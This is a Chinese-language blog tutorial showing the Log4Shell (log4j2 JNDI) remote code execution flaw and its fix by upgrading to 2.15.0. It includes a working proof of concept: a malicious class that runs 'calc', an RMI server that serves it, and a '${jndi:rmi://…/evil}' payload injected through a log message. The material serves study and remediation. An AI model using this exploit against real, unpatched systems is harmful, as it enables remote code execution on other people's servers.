log4j2远程代码执行漏洞

log4j2远程代码执行漏洞

受影响版本:Apache log4j2 >= 2.0, <= 2.14.1

一、漏洞演示

  1. 引入依赖包

    pom.xml中加入如下配置

    <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-core</artifactId>
        <version>2.14.0</version>
    </dependency>
    <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-api</artifactId>
        <version>2.14.0</version>
    </dependency>
    
  2. 配置log4j2.xml

    <?xml version="1.0" encoding="UTF-8"?>
    
    <configuration status="error">
        <!--先定义所有的appender -->
        <appenders>
            <!--这个输出控制台的配置 -->
            <Console name="Console" target="SYSTEM_OUT">
                <!-- 控制台只输出level及以上级别的信息(onMatch),其他的直接拒绝(onMismatch) -->
                <ThresholdFilter level="trace" onMatch="ACCEPT" onMismatch="DENY"/>
                <!-- 这个都知道是输出日志的格式 -->
                <PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %class{36} %L %M - %msg%xEx%n"/>
            </Console>
    
            <!--文件会打印出所有信息,这个log每次运行程序会自动清空,由append属性决定,这个也挺有用的,适合临时测试用 -->
            <!--append为TRUE表示消息增加到指定文件中,false表示消息覆盖指定的文件内容,默认值是true -->
            <File name="log" fileName="D:/logs/log4j2.log" append="false">
                <PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %class{36} %L %M - %msg%xEx%n"/>
            </File>
    
            <!--添加过滤器ThresholdFilter,可以有选择的输出某个级别以上的类别 onMatch="ACCEPT" onMismatch="DENY"意思是匹配就接受,否则直接拒绝 -->
            <File name="ERROR" fileName="D:/logs/error.log">
                <ThresholdFilter level="error" onMatch="ACCEPT" onMismatch="DENY"/>
                <PatternLayout pattern="%d{yyyy.MM.dd 'at' HH:mm:ss z} %-5level %class{36} %L %M - %msg%xEx%n"/>
            </File>
    
            <!--这个会打印出所有的信息,每次大小超过size,则这size大小的日志会自动存入按年份-月份建立的文件夹下面并进行压缩,作为存档 -->
            <RollingFile name="RollingFile" fileName="D:/logs/web.log" filePattern="logs/$${date:yyyy-MM}/web-%d{MM-dd-yyyy}-%i.log.gz">
                <PatternLayout pattern="%d{yyyy-MM-dd 'at' HH:mm:ss z} %-5level %class{36} %L %M - %msg%xEx%n"/>
                <SizeBasedTriggeringPolicy size="2MB"/>
            </RollingFile>
        </appenders>
    
        <!--然后定义logger,只有定义了logger并引入的appender,appender才会生效 -->
        <loggers>
            <root level="trace">
                <appender-ref ref="RollingFile"/>
                <appender-ref ref="Console"/>
                <appender-ref ref="ERROR" />
                <appender-ref ref="log"/>
            </root>
        </loggers>
    
    </configuration>
    
  3. 创建RMI服务

    • 创建com.hailiang.study.rmi.EvilObj

      package com.hailiang.study.rmi;
      
      public class EvilObj {
          static {
              System.out.println("======执行rmi代码,打开计算器=======");
              try {
                  Runtime.getRuntime().exec("calc");
              } catch (IOException e) {
                  e.printStackTrace();
              }
          }
      }
      
    • 创建com.hailiang.study.rmi.RMIServer

      package com.hailiang.study.rmi;
      
      import com.sun.jndi.rmi.registry.ReferenceWrapper;
      
      import javax.naming.NamingException;
      import javax.naming.Reference;
      import java.rmi.AlreadyBoundException;
      import java.rmi.RemoteException;
      import java.rmi.registry.LocateRegistry;
      import java.rmi.registry.Registry;
      
      /**
       * @author hailiang.jiang
       * @date 2021年12月11 11:15
       */
      public class RMIServer {
          public static void main(String[] args) {
              try {
                  LocateRegistry.createRegistry(1099);
                  Registry registry = LocateRegistry.getRegistry();
                  System.out.println("Create RMI Registry on port 1099");
                  Reference reference = new Reference("com.hailiang.study.rmi.EvilObj", "com.hailiang.study.rmi.EvilObj", null);
                  // ReferenceWrapper包裹Reference类,使其能够通过RMI进行远程访问
                  ReferenceWrapper refObjWrapper = new ReferenceWrapper(reference);
                  registry.bind("evil", refObjWrapper);
              } catch (RemoteException | AlreadyBoundException | NamingException e) {
                  e.printStackTrace();
              }
          }
      }
      

      启动RMIServer,本机IP地址:192.168.31.100

  4. log4j bug漏洞测试(低于2.15.0的版本

    package com.hailiang.study.rmi;
    
    import org.apache.logging.log4j.LogManager;
    import org.apache.logging.log4j.Logger;
    
    public class Log4jTest {
        private static final Logger logger = LogManager.getLogger();
    
        public static void main(String[] args) {
            String username = "${java:os}";
            logger.info("Hello, {}", username);
            String rmiURL = "${jndi:rmi://192.168.31.100:1099/evil}";
            logger.info("Hello, {}", rmiURL);
        }
    }
    

    输出结果:

    14:44:56.698 INFO  com.hailiang.study.rmi.Log4jTest 17 main - Hello, Windows 10 10.0, architecture: amd64-64
    ======执行rmi代码,打开计算器=======
    14:44:56.700 INFO  com.hailiang.study.rmi.Log4jTest 19 main - Hello, ${jndi:rmi://192.168.31.100:1099/evil}
    

    通过结果可以分析出,在Log4j中执行调用远程rmi时,会本地机器执行jndi:rmi://192.168.31.100:1099/evil中的脚本
    在这里插入图片描述

二、修正漏洞bug

  1. 升级log4j到2.15.0版本

    <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-core</artifactId>
        <version>2.15.0</version>
    </dependency>
    <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-api</artifactId>
        <version>2.15.0</version>
    </dependency>
    
  2. 再次执行Log4jTest类

    执行结果,不会调用远程rmi接口

    15:10:44.862 INFO  com.hailiang.study.rmi.Log4jTest 17 main - Hello, ${java:os}
    15:10:44.865 INFO  com.hailiang.study.rmi.Log4jTest 19 main - Hello, ${jndi:rmi://192.168.31.100:1099/evil}         
    15:10:44.865 INFO  com.hailiang.study.rmi.Log4jTest 17 main - Hello, ${java:os}
    15:10:44.865 INFO  com.hailiang.study.rmi.Log4jTest 19 main - Hello, ${jndi:rmi://192.168.31.100:1099/evil}
    
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值